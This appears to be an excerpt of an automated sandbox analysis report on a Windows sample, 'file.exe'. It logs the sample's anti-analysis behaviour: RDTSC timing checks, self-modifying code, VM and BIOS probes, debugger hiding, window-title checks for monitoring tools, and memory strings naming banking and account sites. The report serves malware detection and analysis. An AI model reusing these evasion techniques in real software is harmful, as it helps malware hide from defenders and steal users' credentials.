Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3057C second address: 4D305A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDDB4D5DC02h 0x00000009 xor esi, 2A644BE8h 0x0000000f jmp 00007FDDB4D5DBFBh 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30615 second address: 4D30619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30619 second address: 4D3061F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3061F second address: 4D20E96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDE25C565BAh 0x0000000f xor eax, eax 0x00000011 jmp 00007FDDB4F01CCAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007FDDB4F28597h 0x0000002b jmp 00007FDDB4F286E2h 0x00000030 call 00007FDDB9188E47h 0x00000035 mov edi, edi 0x00000037 jmp 00007FDDB4F285A0h 0x0000003c xchg eax, ebp 0x0000003d jmp 00007FDDB4F285A0h 0x00000042 push eax 0x00000043 pushad 0x00000044 movsx edi, si 0x00000047 jmp 00007FDDB4F2859Ah 0x0000004c popad 0x0000004d xchg eax, ebp 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 mov edi, 6DB6FA50h 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20E96 second address: 4D20F14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c jmp 00007FDDB4D5DC03h 0x00000011 xchg eax, ecx 0x00000012 pushad 0x00000013 jmp 00007FDDB4D5DC04h 0x00000018 pushfd 0x00000019 jmp 00007FDDB4D5DC02h 0x0000001e or si, 1828h 0x00000023 jmp 00007FDDB4D5DBFBh 0x00000028 popfd 0x00000029 popad 0x0000002a push eax 0x0000002b jmp 00007FDDB4D5DC09h 0x00000030 xchg eax, ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 mov cx, bx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30AC3 second address: 4D30AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30AC9 second address: 4D30B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDDB4D5DBFCh 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c cmp dword ptr [75AB459Ch], 05h 0x00000013 jmp 00007FDDB4D5DBFCh 0x00000018 je 00007FDE25A7BB06h 0x0000001e jmp 00007FDDB4D5DC00h 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FDDB4D5DC07h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30B1F second address: 4D30B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F285A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30B6F second address: 4D30B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30B73 second address: 4D30B79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30B79 second address: 4D30C02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 672DA699h 0x00000010 jmp 00007FDDB4D5DC06h 0x00000015 call 00007FDE25A82BBBh 0x0000001a push 75A52B70h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov eax, dword ptr [esp+10h] 0x0000002a mov dword ptr [esp+10h], ebp 0x0000002e lea ebp, dword ptr [esp+10h] 0x00000032 sub esp, eax 0x00000034 push ebx 0x00000035 push esi 0x00000036 push edi 0x00000037 mov eax, dword ptr [75AB4538h] 0x0000003c xor dword ptr [ebp-04h], eax 0x0000003f xor eax, ebp 0x00000041 push eax 0x00000042 mov dword ptr [ebp-18h], esp 0x00000045 push dword ptr [ebp-08h] 0x00000048 mov eax, dword ptr [ebp-04h] 0x0000004b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000052 mov dword ptr [ebp-08h], eax 0x00000055 lea eax, dword ptr [ebp-10h] 0x00000058 mov dword ptr fs:[00000000h], eax 0x0000005e ret 0x0000005f jmp 00007FDDB4D5DC00h 0x00000064 sub esi, esi 0x00000066 jmp 00007FDDB4D5DC01h 0x0000006b mov dword ptr [ebp-1Ch], esi 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 pushfd 0x00000072 jmp 00007FDDB4D5DC06h 0x00000077 adc ch, 00000048h 0x0000007a jmp 00007FDDB4D5DBFBh 0x0000007f popfd 0x00000080 popad 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40938 second address: 4D4093C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4093C second address: 4D40983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FDDB4D5DC06h 0x0000000c add cx, BF98h 0x00000011 jmp 00007FDDB4D5DBFBh 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDDB4D5DC05h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40983 second address: 4D40989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40989 second address: 4D4098D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4098D second address: 4D409FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e mov bl, ah 0x00000010 pop ebx 0x00000011 pushad 0x00000012 mov ah, CDh 0x00000014 popad 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FDDB4F2859Ah 0x00000020 and cx, 4EB8h 0x00000025 jmp 00007FDDB4F2859Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007FDDB4F285A8h 0x00000031 adc esi, 276E8918h 0x00000037 jmp 00007FDDB4F2859Bh 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D409FD second address: 4D40A0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d mov eax, ebx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A0F second address: 4D40A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A1C second address: 4D40A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A20 second address: 4D40A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A24 second address: 4D40A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A2A second address: 4D40A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A30 second address: 4D40A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A34 second address: 4D40A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b jmp 00007FDDB4F285A6h 0x00000010 mov esi, dword ptr [ebp+0Ch] 0x00000013 jmp 00007FDDB4F285A0h 0x00000018 test esi, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A70 second address: 4D40A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A74 second address: 4D40A7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A7A second address: 4D40A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4D5DBFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A89 second address: 4D40ABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FDE25C35EA5h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDDB4F2859Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40ABD second address: 4D40ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4D5DBFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40ACD second address: 4D40AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40AD1 second address: 4D40B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AB459Ch], 05h 0x0000000f jmp 00007FDDB4D5DC07h 0x00000014 je 00007FDE25A83596h 0x0000001a jmp 00007FDDB4D5DC06h 0x0000001f xchg eax, esi 0x00000020 pushad 0x00000021 mov al, 9Fh 0x00000023 pushfd 0x00000024 jmp 00007FDDB4D5DC03h 0x00000029 sub al, 0000007Eh 0x0000002c jmp 00007FDDB4D5DC09h 0x00000031 popfd 0x00000032 popad 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FDDB4D5DBFCh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40B58 second address: 4D40B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F2859Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40C24 second address: 4D40C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40C28 second address: 4D40C2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40C2C second address: 4D40C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AE47F second address: 60AE490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a js 00007FDDB4F28596h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622150B second address: 622153E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC04h 0x00000007 jo 00007FDDB4D5DBF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDDB4D5DC01h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622153E second address: 6221548 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A620 second address: 622A624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A624 second address: 622A628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A781 second address: 622A7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDDB4D5DBFDh 0x0000000c jmp 00007FDDB4D5DBFEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A7A3 second address: 622A7B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A7B7 second address: 622A7BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A908 second address: 622A915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A915 second address: 622A919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622AA79 second address: 622AABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDDB4F2859Fh 0x0000000a jmp 00007FDDB4F2859Ch 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 jnp 00007FDDB4F28598h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jl 00007FDDB4F285B6h 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007FDDB4F2859Ch 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622E8FD second address: 622E902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622EA29 second address: 622EAAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 popad 0x0000000a add dword ptr [esp], 68036016h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FDDB4F28598h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000003h 0x0000002d cmc 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D318Dh], edx 0x00000036 push 00000003h 0x00000038 sub dword ptr [ebp+122D212Dh], esi 0x0000003e push B7EC8D89h 0x00000043 jmp 00007FDDB4F2859Ah 0x00000048 xor dword ptr [esp], 77EC8D89h 0x0000004f jmp 00007FDDB4F285A9h 0x00000054 lea ebx, dword ptr [ebp+1245463Ah] 0x0000005a mov si, di 0x0000005d xchg eax, ebx 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622EAAC second address: 622EAC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FDDB4D5DBFCh 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AE7D75 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60ADCEF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6281948 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 625E3DE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60B4743 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 5968	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3956	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5604	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6900	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2144	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1708	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 180	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2340	Thread sleep time: -74037s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.1857305668.0000000006235000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1851878828.0000000000C7B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1851237003.000000000094E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785200524.000000000094E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1851237003.000000000094E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785200524.000000000094E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1851237003.00000000008EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000002.1851237003.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\
Source: file.exe, 00000000.00000003.1417074727.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1857305668.0000000006235000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1851878828.0000000000C7B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000003.1417074727.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
